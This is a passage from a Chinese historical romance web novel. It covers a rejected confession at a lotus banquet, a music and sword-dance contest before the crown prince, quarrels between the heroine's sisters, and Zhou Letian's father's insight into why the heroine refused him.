关怀素着急,左顾右盼,突见一枝带着干枯莲蓬的枯荷,便立刻说:“稍等!” 说完她摘下那支枯莲蓬,叫周乐天:“你稍微侧身些。” 周乐天侧身而坐,感觉到自己的长发被轻柔地拢起,而后听到关怀素说:“好,这般便成了。” 他立刻垂头去看湖面,朦胧中看到自己头发被轻轻拢起一束,而后在脑后盘了个结,以枯莲蓬枝固定,瞧着竟比之前的玉簪还雅致,格外有种闲云野鹤的清雅。 “小心些,我们要出去了。”关怀素担心他的身体,提醒着就摇动船桨,二人从荷花池中出来,周乐天半湿衣衫、怀抱莲花,头发松松以枯荷为簪,一上岸就引得众人侧目。 众人早知道小侯爷好看,但是几时见过他如此情状? 一路上的闺秀看到了,个个都红了脸,不敢细看。 等人走了,看着蜿蜒的水珠,才细细讨论起来。 还有人轻声说:“竟又是和李大姑娘,也不知道发生了什么事儿……” “也是,两人竟一起游船呢,李家真是会养女儿,两位侯爷,真是好手段……” 众人窃窃私语,一时之间神态各异。 本来一起游湖没什么大事,这湖泊上这么多游船的,否则关怀素也不会一起出去,可周乐天这次动静闹得太大了,自然就不一样了。 关怀素也顾不得了,她更担心周乐天的身体,这时候虽暖和,但是周乐天身体不好,湖水寒凉,他若是着凉那就麻烦了。 因此她这会子根本来不及思考其他,只陪着周乐天赶紧去了厢房,立刻叫人备水,快些叫周乐天换衣服。 第一百二十四章 击掌为誓 这边闹哄哄的,当然也惊动了赵白芷和太子。 太子进门查看周乐天的情况,赵白芷在门口问关怀素:“下人说侯爷身上都湿哒哒的,这是怎么了?” 关怀素有些尴尬,轻声说:“我方才发现一朵并蒂莲花……” 她刚想把事情和盘托出,却听到身后门开,周乐天说:“婉玉姑娘带我进荷花丛里摘花,我却吓了一下,沾湿了衣袖,不是什么大事。” 这事情轻描淡写,就化了过去,关怀素心中有些不好意思,转头看周乐天换了身衣衫,登时一愣。 他竟换了一件朱红色的圆领袍,瞧样式形状,应当是太子的常服。 周乐天一贯喜欢清雅冷色,极少穿如此浓艳的色彩,但是也因此瞧着与往日截然不同,格外姝艳。 关怀素瞧得呆了一会儿,周乐天有些紧张地轻声问:“怎么了,可是不好看?与这簪子不搭了?” 他说着,侧头给关怀素看,关怀素才发现,他头上还戴着自己刚才随手折的枯荷。 关怀素一愣,立刻说:“这只是随手折的枯枝,侯爷丢了就是,换个新的簪子吧。” “这是你第一次送我的东西。”周乐天红着脸,眼神躲闪,轻声说,“我不想丢。” 这话给关怀素一下子说的愣了一下,她觉得周乐天这话说得十分奇怪,心中弥漫起古怪的感觉。 赵白芷瞧着二人之间的气氛,立刻明白了什么,她笑着拉着太子说:“殿下,我们去看看并蒂莲,我之前竟一直从未见过呢!” 太子便被拉着进去了,下人们得了良娣的眼神,也识趣地走开一些,关怀素见四下无人,心中感觉到了什么,心脏突然跳的快了些。 她看着眼前眼神躲闪的周乐天,看着他脸涨得通红,似乎想说什么。 他想说什么呢? 关怀素心中的古怪愈发明显了,她察觉到了什么,可是却又觉得如一层轻纱一般,就是叫她看不明白。 到底是什么事情? 为何她的脸也在发热,为何她的心跳得如此快? 关怀素心中迷茫不解,在怦怦怦的巨大心跳声之中,她感觉自己还能听到远处的嬉笑、采莲之中还有人在吟诗,远远还有抚琴的声音。 风送来荷池的清香,远处还有蝉鸣之声。 这一切杂乱之中,关怀素听到一句特别清晰的话。 周乐天说:“我心悦你。” 关怀素心中涌起一股极其强烈的感觉,仿佛一瞬间觉得天地间的杂音都远去了。 她觉得整个人轻飘飘的,心口里像是一汪涌泉一般,在冒出甜蜜的蜜水。 流经四肢百骸,让她整个人都一瞬间不知如何是好。 而后下一瞬,关怀素突然想起来——这话应是说给姐姐的! 她的身体登时像是被浇了一盆冷水一样,整个人瞬间清醒过来。 关怀素看着眼前的周乐天,她在此刻突然意识到了一件事情——或许,她对眼前这个人,也一直格外不同。 一开始或许是因为对他的敬佩,对救命之恩的感念。 但是后来相处多次,发现此人不但战场能杀敌,在为百姓做实事的时候,也从不畏惧艰苦。 能华服熏香,也能与她一起钻京师的地下水渠。 能观雪吟诗,也能驰骋黄沙与塞外。 此人不但性情与关怀素十分合拍,心怀高远,且难得经历大起大伏,却有赤子之心,找到一丝机会,却又能立刻坚强地恢复。 武能征战,文能与她谈诗论词,对答如流。 从哪一方面来看,他都很难不让关怀素心动。 可是,他一直喜欢的人,不是自己,而是姐姐。 关怀素长到现在,畅游天下,人生终于在此刻开了情窍,却也在同一时刻,体会到了心痛难言的滋味。 她压下轻微的鼻酸,轻声说:“对不住,侯爷。” 周乐天见她愣住,心中就已经沉下来。 此刻听到她的拒绝,愈发难过,忍不住抚住自己的脸,轻声说:“我沉疴未愈,可是叫姑娘见着不喜了?” 关怀素心中难过,勉强挤出一个笑来,故作轻松说:“侯爷说这话,真是叫京师男儿都要自惭形秽了。您天人之姿,皎皎如月,便是挑什么毛病,也不能挑到您的脸上。” “那可是乐天有什么粗鲁不堪的性情,叫姑娘心中厌弃?”周乐天忍着鼻酸继续问。 “不是,侯爷忧心百姓、能文能武,性情平和中直,是我生平所见人杰之一。”关怀素看着鞋子,轻声回答。 “那姑娘为何拒绝我?”周乐天不解,说,“乐天是有什么叫姑娘不满的地方吗?若姑娘愿意告知,乐天定然改好!” 怎么改? 能有资格叫她改的人,已经不在人世了啊。 关怀素想到姐姐,便想到若是此刻姐姐在世,她应能和眼前之人在一起,姐姐活着的话,此时郎才女貌,他们本该是一对神仙眷侣的。 可如今却变成了自己李代桃僵,姐姐不在了,眼前爱她的人还不知道,自己还要忍着辛酸编个理由拒绝此人。 关怀素眼圈一下红了,眼泪一下子冲了出来。 她自小聪明,人生里从未遇到过任何能叫她觉得困难的事情。 哪怕是查姐姐和娘的死因,她都能沉静地一步步去实现自己的目的。 可是在这一刻,关怀素生平第一次感觉到了慌张无助,她想到姐姐,心中愈发难过,眼泪长流,不知如何解释,只能说:“不是侯爷的错,是我不想费心攀爬登天梯,去摘天上月。” 周乐天看她低头,不解又焦急地说:“可是我并不是天上明月,并不需要姑娘劳累……你哭了?” 说到一半,周乐天猛地察觉到了什么,惊讶地脱口而出。 见关怀素抬起脸,从第一次见面就镇定机敏的姑娘眼圈发红,鼻头也红红的,眼泪一直从脸庞落下。 这可是连姐姐死之后都能镇定李代桃僵的关怀素,她竟哭了! 周乐天心中大为痛苦懊悔,立刻连退三步,说:“姑娘,是我唐突了,我不是故意吓你的,我这就走,放心,日后我再不打扰姑娘。若违此誓,叫我千刀万剐!” 说完,他抱拳行礼,红着眼圈转身大步离开。 赵白芷听到动静出来时,便见到关怀素在门口流泪,而周乐天衣摆翻飞,已经走远了。 赵白芷愕然,立刻抓着关怀素问:“婉玉姐姐,你这是怎么了?” 关怀素心中苦涩,也不能解释,便只苦笑着说:“是我不识抬举。” 赵白芷见她这样子,心中惊诧,她看得出来婉玉姐姐对乐天哥哥绝对不一般,这是同为女子的直觉。 她不明白二人到底是为什么闹成这样子,但是她知道此时是宴会,绝对不能叫人察觉出什么,便立刻扶着关怀素入内。 太子还留在室内,见赵白芷扶着关怀素进门,皱眉问:“怎地了?” “你快些去陪着乐天哥哥去。”赵白芷温声对太子说。 太子愣了一下,看关怀素满脸眼泪,立刻说:“吵架了?” 赵白芷抱歉地朝关怀素笑笑,扶着她坐下,而后转身拉着太子轻声嗔怪:“还问这么多做什么?快去找乐天哥哥呀!” “好,我去问表哥。”太子点头,认真地说。 赵白芷没好气地捏着帕子拍他一下,说:“去吧去吧!” 太子离开之后,赵白芷才对关怀素笑着说:“姐姐别在意,他便是这样。” “我知道。”关怀素自然不会觉得太子如何,七情不开之人什么性子都可能。 “姐姐,乐天哥哥是对您表面心迹了吧?”赵白芷小声问,“你为何没答应呢?” 关怀素也没想着瞒着她,只是自己李代桃僵的事情到底不好说,更不好跟赵白芷解释周乐天可能一直喜欢的都是自己的亲姐姐。 而且,姐姐还离世了。 想到这里,关怀素眼泪又出来了,她只能含混地说:“是我不识抬举。” “姐姐不是这样的人。”赵白芷温声说完,突然叹了口气,轻声说,“算了,想来姐姐有自己的苦衷,我也不多问了。” 她这么说,关怀素心中十分熨帖,擦了擦眼泪,很快振作起来。 赵白芷笑着拿了一盒脂粉,说:“补些香粉,一会子荷花宴,别叫人瞧出来。” 关怀素心中大为感动,拿了香粉轻轻扫上,对赵白芷说:“多谢白芷妹妹,若不是你,今儿真不知道怎么过。” “姐姐说得如此郑重其事,那我不把这盒内造的鸭蛋香粉送给姐姐,可真真是不成了。”赵白芷笑着打趣。 关怀素知她是为了开解自己逗趣,便也立刻笑着说:“既然妹妹说了,那我便厚颜收下了,可叫我又打了一次秋风。” 赵白芷知她是说闺阁之中借衣服的事情,如今想起来十分怀念,不免又觉得亲热几分,笑着打趣呢,便听到一阵萧瑟琴音。 那声音凄凉如诉,听着与西院热闹格外格格不入。 外头嬷嬷进门,轻声对赵白芷说:“良娣,是付美人在弹琴。” 赵白芷点头,温声说:“叫人过去说说,今日设宴,先别弹琴了,明儿个怎么着都成。” “殿下已经半路被叫过去了,应马上就能停了。”嬷嬷说话之间,果然那萧瑟凄苦的琴音就停了。 嬷嬷退出去,关怀素看着赵白芷,有些担心地问:“上回也是那个付美人吧?” 她说的是流云台寺的时候,太子也是被付美人叫走的事情。 赵白芷点点头,她见关怀素神色郑重,便意识到关怀素在担心什么,她轻声说:“殿下与付美人并无私情,更像是知己……付姐姐,其实也是个可怜人。” 关怀素不明白。 “付姐姐她极擅琴,殿下能闻弦音而知雅意。”赵白芷叹了口气,说,“其实是这样的……” 却原来,当初那位付美人原是自小一起长大的未婚夫体弱多病,未曾成婚就已经去世,家里边要把她许给他人。 可付美人与未婚夫郎情投意合,自是不愿意,她闷闷不乐弹琴时,恰好被太子撞上。 太子能听琴辨人的心情,于是出言问付美人何事,付美人以为他是不相干的陌生人,苦闷之下就干脆直言。 结果太子就问她,不如跟他回去。 “不只是付美人,其实殿下府内许多姬妾,皆是如此而来。与其说是姬妾,不如说是殿下给了她们一条活路。”赵白芷温声叹了口气,轻声说,“只可惜世人对殿下误解甚多,便连太子妃也并不相信,只一味以为殿下多情,愈发与殿下有了怨怼,等到我进门,更是不知在想什么,让我心里忌惮得很……” 关怀素心中震惊,她早听赵白芷说过,但是没如此详细,如今听赵白芷这么说,终于是彻底明白了她为何会与太子鹣鲽情深。 若是如此,太子此等人品,倒是真配得上白芷妹妹这般好姑娘。 关怀素闻言,便突然轻笑一下,说:“如此,我却是真正放心,再也不会为妹妹鸣不平了。” 赵白芷愕然一瞬,突然眼圈一红,说:“我是什么人物,也只有姐姐,便觉得全天下的好儿郎都配不上我。” “本就是。”关怀素说,“我平素见过闺秀不知凡几,便是放眼天下,白芷妹妹都是数一数二的,在我心中,你能配得上全天下最好的儿郎。” “殿下就是我心中最好的。”赵白芷笑了一下,微微抚摸了一下肚子,认真地对关怀素说,“殿下虽及不上侯爷文武双全,但是他是个非常非常温柔、非常非常好的人。” 良娣屋内华彩缤纷,赵白芷一身鲜亮宫纱,微笑之中含着女子被爱的坚韧,又有一丝初为人母的淡淡慈爱。 这一幕真是极美,叫人一生都无法忘怀。 “得亏是没有外人,否则听我们这么说话,只怕要说我不要脸了。”赵白芷说完,俏皮一笑,登时冲淡了室内微微沉闷的气氛。 关怀素朗声也笑出声来,说:“那我也只怕要成为天下最大的马屁精了。” 二人相视一笑,心中坦荡,只觉开怀。 方才的一切似乎都远去了,那些幽微的心情、未来的隐忧,纷纷暂时都被抛在脑后。 “荷花宴应是差不多了,走,我们出去?”赵白芷笑着问关怀素。 “好,折腾一上午,我正饿了呢!”关怀素笑着站起身。 二人一路出去,果然廊下围着荷花池,已经摆起了宴席。 第一百二十五章 荷花宴 因是荷花宴,所以每桌碗碟都以荷花荷叶为形,且中间都插着新鲜的荷花。 饭前的点心是糖渍莲子、八宝糯米藕、荷叶包豆沙团子等等,上菜的时候,每道菜都以荷花荷叶做点缀或是入菜。 尤其是荷叶包鸡更是做得登峰造极,佐用荷叶包着的糯米饭一起吃,吃完饭再来一碗炖的香浓的莲子银耳羹,香浓柔滑,入口甜美芬芳,新鲜莲子入口即化,实在是让人十分难忘。 “这菜实在是好,并不抛费,难得全是一片巧思。”席间就有夫人笑着开口,夸赞起这荷花宴来。 满桌都是附和之声,尤其是文臣一脉的男女,都觉得雅思非常,多番夸赞。 吃完饭上的是荷叶茶漱口,喝着茶,便有人三三两两结伴,再赏玩一番荷花,也有人凑着坐在一起开始下棋,喜欢游湖的男女又开始泛舟荷花池。 突然远远有年轻男子立于小舟上,开始吹笛。 笛声优雅绵长,清丽婉转。 “是宋三公子!”有人低声轻呼,“真是好听!” 下一刻,一道琴音突然入内,声音清越,一下子压过笛声! “哎呀,是姜二姑娘!好琴!”有人在旁边说,“竟压过了笛声!” 荷花池内,又突然起了一阵笙音。 声音绵长,隐隐与笛音和鸣,瞬间压的对岸琴音气弱三分,竟是赵二郎,他竟还会这个。 不过也正常,音律本也是君子六艺之一,在场的闺秀公子,大约都会一两样。 眼见着对岸势大,突然有一阵肃杀笛音拔地而起,与琴和鸣,登时与对岸分庭抗礼。 “这笛声好生霸道,不愧是宋大儒的孙女!”有人说,“这边要压过对面二位郎君了!” 很快,对面立刻有箜篌之声,又有年轻郎君下场。 这边立刻有会乐器的姑娘助阵! 于是一来一去之中,带了乐器的年轻郎君女子都纷纷下场,一时之间,竟是双方斗起乐来! “去,把我的焦尾拿过来!”赵白芷听得眼前乐音飞洒,心中一时快活,吩咐下人,又问关怀素,“姐姐可要下场?” 关怀素与祖父游历,当然也参与过这等文人雅斗,她对音乐虽不十分精通,但是却也熟悉音律,因此立刻笑说:“给我拿琵琶来!” 场上的斗乐已经从《君子思》到了《望月》,琴立刻送到,赵白芷伸手一拨,一手澎湃海浪一般的琴音汹涌卷起来,竟一下子叫场上万马齐喑! 关怀素也是第一次听赵白芷弹琴,此时才惊讶赵白芷的造诣惊人,但是她怡然不惧,怀抱琵琶,伸手发出金玉相交、繁复如雨点一般的琴音! 赵白芷一愣,而后眼睛发亮,猛地加快了速度! 关怀素立刻跟上! 远处宋兰下一刻猛地笛音乍起,雄浑高远,竟跟上了她们,而后对面的宋律也反应过来,匆匆追杀宋兰。 而后繁复交错之中,箜篌、笙、阮全数跟上,一曲《马踏燕然》在京师后花园里追赶来去,如金玉之声。 就是缺了点什么。 关怀素正心中划过这个念头,突然下一刻,听到“咚、咚”的鼓声! 一下子把整个曲子全数补圆,原先过于华丽的音乐一下子叫鼓声合着,登时有了塞北孤烟、行军千里的铁血悍勇。 “好!”突然有人发出惊呼,关怀素便见几个劲装小娘子一跃而起,踏过荷叶飞身直上岸边亭台尖顶上,开始舞剑! 包子脸与厉如珠也拔地而起,脚踩荷叶,在水上舞剑搏斗! 踏歌剑舞,突然有人和歌:“批铁甲兮,挎长刀。与子征战兮,路漫长。同敌忾兮,共死生。与子征战兮,心不怠。踏燕然兮,逐胡儿。与子征战兮,歌无畏。” 众人分神去看,却是平素沉默寡言的太子,他击掌高歌,神情愉悦,朗声和歌,瞧着仿若换了个人般卓然风流! 众人都是一愣,而后大喜,纷纷愈发上心奏乐! 一曲《马踏燕然》奏完,花园登时一静! “方才奏乐者,赏!”太子心情显然极好,开口吩咐。 众人都是一喜,纷纷跪下感谢。 “方才奏笛、弹琴与敲鼓的是哪几人?”太子吩咐,“到我面前来。” 他说着,在赵白芷身边坐下。 很快,宋律、姜二姑娘、宋兰都被带来了,还有一个大家都十分震惊的人,便是钱丽娘。 “宋律,你笛子很好,只是太独僻;姜二姑娘,你古琴浑阔,只是心有忧思,放宽心些;”太子一板一眼认真点评,“宋姑娘,你也是奏笛,却雄浑悠远,比宋律看得开些;钱丽娘……你心中忧愤不平,是发生了何事?” 前几人都还好,最后一个钱丽娘,却是大家悄然变色。 自上次流云台寺之后,钱丽娘便尝到了人间冷暖,她也终于沉静下来,此刻被太子问到,神态镇静,只上前说:“丽娘只想给良娣请罪。” “你何罪之有?”太子好奇地问。 “上回在流云台寺,我莽撞无礼,冲撞良娣,是丽娘愚蠢。”钱丽娘跪下,以首贴地,表明忏悔。 赵白芷神色复杂,关怀素看得出来,赵白芷心中怜惜钱丽娘。 但是她面上只是端庄地笑,亲自起身扶起钱丽娘,说:“丽娘妹妹还是和以前一个样,开心了就笑,不开心了也大方,我们自小一起玩耍,难道还能放在心上?” 她言笑晏晏,给足了钱丽娘面子,如此上回的事情便在这一刻全然化解。 钱丽娘眼圈一红,知道赵白芷给她做脸,如此,上回的事情便过去了,日后潜伏三五年,未必不能再找其他机会,留在京师。 丽娘心中感动,瞬间流下眼泪来,哽咽下跪道谢:“多谢良娣姐姐仁善,宽纵妹妹的愚钝。” 太子明显看不明白,但是他弄明白了赵白芷对这个女孩很亲热,便说:“良娣既然喜欢你,日后多来请安。赏珍珠一斛,日后多多练鼓!” 说完钱丽娘谢恩,太子又对众人说:“你们三人,各赏珍珠一斛。” 宋兰等人一起跪下谢恩。 赏赐的皆是文臣这边的,武将家眷们登时神色都纷纷微微有些不对劲。 关怀素瞧着也是紧张,好在这时候赵白芷却突然笑着开口,说:“还有方才在荷花上舞剑的几位、凉亭上舞剑的两个公子,都过来吧。” 厉如珠、包子脸并方才在凉亭上舞剑的两个武将儿郎等眼前一亮,立刻上前拱手跪拜。 “你们几人身手都很好,都赏珍珠一斛,望你们多多历练,日后保家卫国。”赵白芷笑着吩咐。 厉如珠等接过去,都纷纷大声应是。 众人见太子也是笑着点头,众武将家眷脸色登时才立刻好了,气氛一时又松快起来。 很快人群里发出起哄,却原来是方才舞剑的有个郎君拿了彩头,竟当场赠与订婚的姑娘,众人纷纷起哄。 远处一时欢声笑语,赵白芷说是乏了,叫关怀素陪自己回屋里。 她才有孕,自然容易疲惫,关怀素便扶着她一路先回屋,刚好避过与周乐天相处。 “方才丽娘妹妹请罪,我心里十分不舒服。”赵白芷走着,突然轻声对关怀素说。 关怀素一愣,她叹了口气,说:“我明白。但是妹妹嫁入皇家,到底是不一样的。” 赵白芷何尝不知道? 她摸了摸肚子,叹了口气,说:“丽娘妹妹虽容易受人挑拨,但是到底不是什么坏心思的人,姐姐你也别放在心上。” 关怀素摇摇头,轻声说:“我不生她的气,但是我也不能原谅她。” 因为她当初攻击的人是姐姐,她没有资格替姐姐原谅钱丽娘。 而且…… 关怀素看着赵白芷,说:“肆意攻击他人、没有眼色,是好勇斗狠;被人挑拨不识好歹,是愚蠢。愚蠢而好勇斗狠的人,并不能因为被人挑拨,便算得上无辜,便算得上好人了。我不计较,叫我现在当她是好友,也是不能的。” 赵白芷愣了一下,两人默默回屋,赵白芷突然回过神,一把抓住关怀素的手,压低声音说:“姐姐说得十分是,我差点也想岔了。” 关怀素迷茫地看着她,却见赵白芷一笑,说:“姐姐帮了我大忙,可有什么喜欢的,我送给姐姐当谢礼。” “没什么想要的。”关怀素笑着说,“何况我不过是随口说话,哪里当得上帮忙?” 二人说笑着,歇了一会儿,已经到了下午,客人们兴尽而归,纷纷辞行。 关怀素便陪着赵白芷出去送客,略见了几个身份高些的夫人,又与手帕交们打招呼,约着日后再来请安等等。 婉淑也在旁边一直陪着,婉蓉不知怎么想的,竟也跟着在旁边不走。 赵白芷到底还是给关怀素留了一斛珍珠,给婉淑也赏了,因婉蓉还是磨蹭着没有走,也不好厚此薄彼,便也给婉蓉顺便赏了一斛珍珠。 婉蓉欢天喜地地谢了,三姐妹一起道辞离开。 自婉蓉回门之后,这还是三姐妹第一次凑在一起,下人在前面远远带路,婉蓉便笑着说:“听说最近家里很是热闹,母亲闭门养伤,身体可还好?” 婉淑冷笑一声,对婉蓉说:“不劳烦二姐姐挂心了,二姐姐如今在人家后宅为妾,许多时候也应当安分一些才是,今儿个良娣都装扮的没有二姐姐隆重呢。” 婉蓉摸了摸发冠,得意地说:“是侯爷心疼我,特地赏我宴会戴着的,三妹不必担心。我们家侯爷家里摆了许多好东西,往日是没有人用,特地叮嘱我只管穿戴呢。” 这话说的,婉淑捏着帕子,笑着说:“二姐姐过得好,父亲与崔小娘知道,一定很为二姐姐开心。就是今儿在水上舞剑、得了太子赏赐的秦家姑娘,便是与侯爷定亲的秦姑娘吧?正经的侯门主母快进门,二姐姐得低调行事才是。” 婉蓉登时想到今儿个见到的秦姑娘,她开始还纳闷,那姑娘怎么见面就直勾勾打量她,还看她头顶发冠。 开始婉蓉还以为她是羡慕,心中颇为得意,后面人家抽剑飞出去舞剑的时候,婉蓉心中还想着此女性子这么粗鲁,真不愧是武将家里的女儿。 没想到赏赐的时候才知道,这人居然是刘仁未来的妻子。 “那又如何?我家侯爷说他最不喜欢粗鲁的女子!他喜欢我这种温柔体贴的!”婉蓉狠狠地说。 “那挺好的,我很为二姐姐开心。”婉淑笑着,不阴不阳地回答。 婉蓉瞪她一眼,不想再和她说话,转头拉着关怀素说:“大姐姐装扮得也太素了些,我那儿有些好东西,正适合大姐姐用,明儿我叫人给大姐姐送来。” 关怀素脸上露出一点玩味的笑,说:“那些好东西,二妹留着自己用就是,给我也是抛费了。” “怎么会抛费,大姐姐只管用着!”婉蓉笑嘻嘻地拉了拉关怀素的手,说,“我这些日子虽也没怎么与大家走动,但是也托我家侯爷打听有什么青年才俊,若是得了消息,一准给母亲说,日后若是需要我们家侯爷撑腰的,也都只管找我,总归是我欠了大姐姐一个人情。” 这话说的,婉蓉许还是觉得自己事儿办得漂亮,脸上带着一股子喜悦。 婉淑像是看傻子一般看她一眼,疑惑地说:“二姐,你这是说的什么话,大姐姐的婚事何用别家的男子帮忙?又不是家里正经姐夫,再说就算是正经的姐夫,咱们爹娘都在,也用不上姐夫操心这些吧?” 这话说得婉蓉脸色青白,很是下不来台,还想说什么,已经到了马车边上。 关怀素自与柳叶上了马车,婉淑用看傻子的眼神看了婉蓉一眼,也自上了家里的马车。 留下婉蓉气愤地看着车子启程,把她远远丢在后头。 第一百二十六章 往事 “二姐也真是,当大家都是傻子。她自个儿亏心抢了大姐姐的婚事,还怕大姐姐你与平安侯真有什么,毕竟若是大姐姐真当了侯夫人,她就愈发叫人戳脊梁骨了。”婉淑上了马车就愤愤不平地说。 说完看关怀素并不搭话,便好奇地说:“大姐姐,你怎地不生气?” 关怀素怎么会生气,婉蓉有自己的算计,婉淑也不是为了她张目,不过也是想看热闹罢了。 因此关怀素只是一笑,说:“无事,她如今过得很好,想来父亲也是放心了。” 婉蓉何止是过得好,今儿那一身华服,便是太子良娣也比得过。 婉淑想到这里,心中也不由妒恨起来,本来是想挑唆关怀素,这会子想到婉蓉装扮,一时想到自己日后不知跟着赵二郎过的什么日子,竟是想的痴了。 二人就这么回了家,进了院子,关怀素神色便沉下来,柳叶和丁妈妈跟了一天,立刻给她拆了钗环,拿了热帕子给她净面。 关怀素躺在榻上闭目养神,脑中一直在想着今儿的事情。 “姑娘瞧着心事重重的。”柳叶忍不住轻声问,“可是为了白日拒绝平安侯的事情?” 这事儿关怀素一直避免去想,这会子柳叶提起来,她心中已经是镇定许多。 但是她还是不想聊此事,只皱眉轻声说:“我瞧着京师这些日子有些风雨欲来,心中有些不安。” “这怎么说?”柳叶好奇地问,“我瞧着今儿大家伙儿斗乐舞剑,京师繁华妙丽,便是富庶的江南也比不过呢。” 关怀素轻叹一声,今儿看着是风流人物斗乐舞剑,但是实则底下文臣武将之间已经愈发有种隐约的争胜局势。 开始太子开始只赏了文臣之后,几位武将家的女眷脸色已经有些紧绷,好在赵白芷倒是反应很快,立刻便安抚下来,可是便已经说明了一件事——所有人愈发在意太子的意思。 大长公主回京之前,关怀素参加了几次宴会,都没有如此。 武将从不与文臣家眷们争锋,十分低调。 可今儿她们却纵着姑娘们舞剑争胜、不叫文臣独美——下场的年轻人许是不懂,可家里人未必不懂。 她们是豪爽,可不是傻子,如今争到了明面上,唯一的可能,朝堂在暗流涌动。 圣人今年一直在陆续罢朝,到底身子是如何不好了? 还是大长公主的回来,才叫这帮跟着先帝打过天下的武将都蠢蠢欲动? 而赵白芷的反应也很快说明了这一点,她在微妙地平衡文臣武将之间的关系。 她与赵白芷虽算交心朋友,也觉得她是个品行端正的好人,可是关怀素并不觉得赵白芷是个纯粹的、愚蠢的好姑娘。 她可是赵家耗尽心思培养的高门贵女,权衡利弊、平衡局势对她来说,就和呼吸一般自然。 而赵白芷当时给出的讯息,她谈笑之间,在太子之后立刻也给赏赐,看似谈笑之中在玩耍,实则却是给了一个四平八稳的答案。 太子没有表露出任何苗头,这就是赵白芷作为太子良娣,能帮忙给出最为合适的答案。 只是,这是明面上的,但是私下里,赵白芷又知道什么呢? 她在这个时候大张旗鼓地宴客,本就不合常理,但是瞧着又处处叫人挑不出错,就更让关怀素觉得奇怪。 她到底是在忙活什么? 而刘仁也十分离谱,在太子良娣的宴席上,竟叫婉蓉穿戴得比太子妃还奢华,那一身装扮,便是得宠的贵妃也不过如此了。 婉蓉不懂,但是刘仁难道完全不懂规矩? 他刘仁算是个什么人物,竟叫后宅的妾室如此狂妄? 不怕刘仁是完全的蠢,就怕刘仁是半蠢不蠢、是猖狂,甚至,是隐约在与太子争锋。 以关怀素与大长公主相处下来的感觉,关怀素觉得,大长公主哪怕真有什么隐秘的心思,也不可能叫刘仁看出来。 起码关怀素就完全搞不懂大长公主到底是什么想法。 那么刘仁这么表现,就完全是赤裸裸的愚蠢。 甚至他如此叫婉蓉压过太子良娣一头,叫言官说得过分些,便是有不臣之心,如此连大长公主都要受到带累。 还有太子妃,白日赵白芷说太子妃对她有孕的态度,也十分反常。 如此种种汇聚在一起,关怀素不免嗅出了一点风雨欲来的味道。 历朝历代,每当改朝换代的时候,平稳的时候少,伴随着流血和杀伐才更多。 “我在想,得加快速度了,在年前必须把这里的事情办好,咱们还是回永年县去。”许多事情不好与柳叶说,免得吓到她,而且也不过是暗流涌动,一切都是自己的猜测。 关怀素想着,千万思绪,最后汇到嘴边,便变成了这句简单的话。 柳叶一听,十分开心。 夜深了,二人随口说了几句,便开始安歇。 关怀素心中想着心中的许多计较,都通通在脑子里过了一遍,包括赶紧加快速度执行计划,如何捅崔小娘和孙大娘子的心窝子,得叫李辰文和李辰瑜名声废掉……如此脑子里过了一遍,终于觉得自己再无遗漏,总算是松了口气。 等把这些重要事情全部安排完,躲了一天的人影再也压不住,终于出现在脑海里。 白日周乐天在廊下拢着袖子看人比试的样子似乎又到了面前,他神色看不出喜怒,只静静地看着,落花从他面前拂过,漂亮的像是一幅画。 而发髻还是用那枯荷拢着。 关怀素自小擅工学,雕东西也是极为擅长的,若他喜欢,金银玉竹、木头宝石……她什么寻访不来? 只可惜,只可惜…… 不过日后若是水落石出,她一定会把姐姐的坟冢告诉周乐天,叫他亲自去祭奠,圆了他这一段心思。 关怀素含着苦涩睡觉了。 而那边,周乐天撑了一整天狼狈地回到家里,便听下人说,驸马爷下午清醒了,调了一下午的香,仍旧十分精神。 周乐天心中稍松,立刻去父亲院子,进屋就见父亲果然装扮精神,正在调香。 见到他进门,驸马抬头笑了笑,轻声说:“你来了,闻闻我新调的这香如何?” 旁边侍香的老妈妈拿骨扇轻轻扫了扫,周乐天闻到了一股暖意陶陶的香气来,登时有些诧异。 他轻声委婉地说:“像是冬日的香?” 驸马笑了一下,满室生辉,他轻声说:“你有了心仪的女子,前些日子又日日与她一起忙着京师水道的事情,我想着,你冬日怕也能说婚事了。你年纪大了,倒也不拘泥非要等个三五载,冬日定下,来年便可以把婚事办了,女方那边缺了什么,只管开我的库房,全部贴补上就是。若还缺什么,大不了我再去求你的母亲……” 驸马今日难得心情好,显然也是十分期待周乐天的婚事,周乐天不想打扰一生坎坷的父亲难得的美好时光,但是他却也不得不开口,低声说:“父亲,她今日拒绝了我。” 说到这里,周乐天眼圈微红,别过脸去。 驸马一愣,立刻问到底是怎么回事。 “她什么都没说,只说了一句对不起。”周乐天想到关怀素白日那句话,还有发红的眼圈,眨了眨眼睛,不敢叫眼泪落下来。 但是他在父亲面前,到底是维持不住白日的镇定,手指蜷缩握成拳头,压抑着难过,说:“要叫父亲失望了。” 驸马一听,有些奇怪地说:“你说你把关姑娘吓哭了?” 周乐天点头,驸马更为奇怪。 他沉默了一阵子,突然问:“乐天,你可有跟关姑娘说,你发现她的身份?” 周乐天一愣。 他茫然地说:“没有。” 而且这事儿到底与他们方才说的事情有什么关系? 驸马一看他的表情就知道他在想什么,叹了口气,说:“乐天啊,你想想,关姑娘若是不知道你知道她的真实身份,她会如何想?” 周乐天愣了一下,然后瞪大眼睛! 他说:“她以为我心悦她姐姐?” 周乐天被这个发现震惊得头皮发麻,而后驸马叹了口气,伸手唤周乐天坐过去。 周乐天依言而行,驸马把他头上的枯莲蓬枝摘下来,从头顶摘下自己的竹玉簪替周乐天把头发松松挽上。 “乐天,你若是喜欢她,就表明一切,去好好跟关姑娘剖明心迹。”驸马把枯莲蓬放在周乐天的手上,而后轻声说,“但是你要记住,人这一生,不可能事事如愿,若是关姑娘确实于你无意,你答应我,不许纠缠。” “我知道。”周乐天轻声说,“我知道,我不会像母亲一样……” 驸马却摇摇头,苦笑一声,说:“我与你母亲,与传言不一样。” 周乐天茫然地抬头看向父亲,驸马叹了口气,说:“世人都说,你母亲当初在长安街第一眼见到我,就把我抢回了公主府,乐天,你了解你的母亲,她是为了一张脸会昏聩的人吗?” 周乐天绝不相信,他坚定地摇头,轻声说:“舅舅说过,他唯一赢过母亲的,不过是他是男子。” 驸马点头,苦笑一声,说:“是啊,我当初最蠢的,便是真信了你的母亲。” 驸马这辈子几乎没吃过苦,他出身显贵高门,乃是几百年的世家里,谢家最小的幺儿。 上头五个哥哥,顶门立户轮不到他,且他生下来就如佛前金童一般,稍微长大些,几乎轰动京师,若不是谢家势大,他如此风姿,只怕早不知被哪里的达官显贵抢走私藏起来了。 哪怕是京师城破,谢家因及时投诚,也没伤到元气。 